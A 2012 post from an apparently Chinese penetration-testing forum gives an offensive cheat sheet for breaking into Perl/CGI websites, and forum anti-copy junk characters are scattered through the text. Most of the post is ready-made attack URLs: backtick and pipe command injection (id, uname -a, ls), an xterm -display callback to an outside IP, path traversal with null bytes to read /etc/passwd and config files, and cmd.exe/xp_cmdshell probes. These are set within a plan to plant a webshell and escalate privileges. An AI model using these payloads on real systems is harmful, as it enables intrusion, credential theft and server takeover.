中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  + E* {3 h* {  r- f: R& T0 I0 K: [/ P% T1 @
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 m$ }- X$ c" X% T& p
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
+ `" ]! @" u  C& q, v; T/ h. Z注“  
! r. s3 g7 h" K; dperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  4 B1 j4 B0 g$ D+ W1 n
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
3 P( X( r+ l8 c& t5 a% s
! ?% b" P; f9 s* A  x9 ^/ Mhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  2 ^, |# H# G8 Y5 |& w
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
& j  r8 P9 o! r9 Q2 chttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
+ x$ v% p9 P) Q- e# ?! W" R6 hhttp://target.com/cgi-bin/home/news/sub.pl?`id`  7 ^/ B1 v( b- U" G7 k9 b
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
: b0 Y, j) J0 q5 H' zhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
  h- D: [3 ~0 r% v" z$ I5 D
0 R# I; G% _/ u, R' x4 Hhttp://target.com/test.pl;ls|  ! @5 f2 C9 k6 p
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
: c/ k6 c: b6 L% V1 ], O+ mhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 Y5 P$ I& `  s
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  6 d0 c& O1 s# w/ Z2 K' V; r( J
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  * L/ [  w1 e3 }6 A1 U$ b6 M7 T4 ~
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
& O3 i# ?& V- K# Z1 Q( E
; b1 j: l& S# {9 T) V1 [http://target.com/test.pl?&........ /../../etc/passwd  ; s5 c1 B# q& j* u& w

7 p0 F9 Y7 a# I" X, Whttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
) j3 d. n4 c" q4 H4 F- L  Q1 chttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  8 K+ O: X5 f' T( l. c8 ~
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
6 u: R. q  K# W3 l- C- v
- a; a: I  s( N  J- ~http://www.target.org/show.php?f ... /include/config.php 查看php代码  : M9 a# s  V/ j7 O3 D
http://www.target.org/show.php?f ... ng/admin/global.php  2 I+ }/ G6 G; [

! |% v6 J- A0 x4 ^1 lemm和ps的一句话
2 n' `3 Z2 Z5 P/ W" D' t
; C0 v% r% p4 g- d" \6 @http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
( I# [. A! Z* f
$ P$ T$ E3 B4 V- ^- W- `>bbb%20|  6 _% `* Z8 {1 b, o

9 Z3 E) I' w% \( |( chttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  & w+ o7 T3 h) |% D% S; B* O
8 y8 _( Z( Q3 ^3 I" W
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ( _# p8 ?  U1 R# i
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
& f. U; G0 p: Z3 T; T- d7 K; m. \# b9 @& D% L
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
% z: P5 g# M* H# l# ?http://target.com/index.html#cmd.exe  " l+ X7 g4 J/ e# r5 a  L
http://target.com/index.html?dummyparam=xp_cmdshell  ! ~: o1 E' W$ s! @
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
" Z4 o+ {: ?9 k% y8 s7 h, E




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2